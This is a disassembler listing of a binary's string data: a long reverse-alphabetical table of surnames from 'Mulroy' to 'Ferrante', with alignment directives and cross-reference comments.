aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co
align 10h
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co
align 10h
aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o
aMini db 'Mini',0 ; DATA XREF: ___:0042E140o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E138o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo
align 10h
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o
aMay db 'May',0 ; DATA XREF: ___:0042E0B4o
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o
aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o
align 4
aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co
align 4
aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E074o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o
aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o
align 10h
aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o
align 10h
aMa db 'Ma',0 ; DATA XREF: ___:0042E020o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo
align 10h
aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo
aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o
aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo
align 10h
aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o
aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o
align 10h
aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o
aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o
align 10h
aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o
align 10h
aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co
aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o
align 10h
aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o
aLa db 'La',0 ; DATA XREF: ___:0042DF40o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o
aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o
align 4
aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o
aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo
aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o
aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo
align 10h
aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o
align 10h
aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o
aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co
align 10h
aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o
aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co
aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o
align 10h
aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o
aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o
align 10h
aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo
align 10h
aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co
align 10h
aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o
aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o
aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o
align 10h
aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o
aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o
aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o
aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o
aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o
aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co
aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o
align 10h
aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042DC64o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o
aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o
align 10h
aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co
aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o
align 10h
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo
align 10h
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co
aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DB84o
align 10h
aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o
align 4
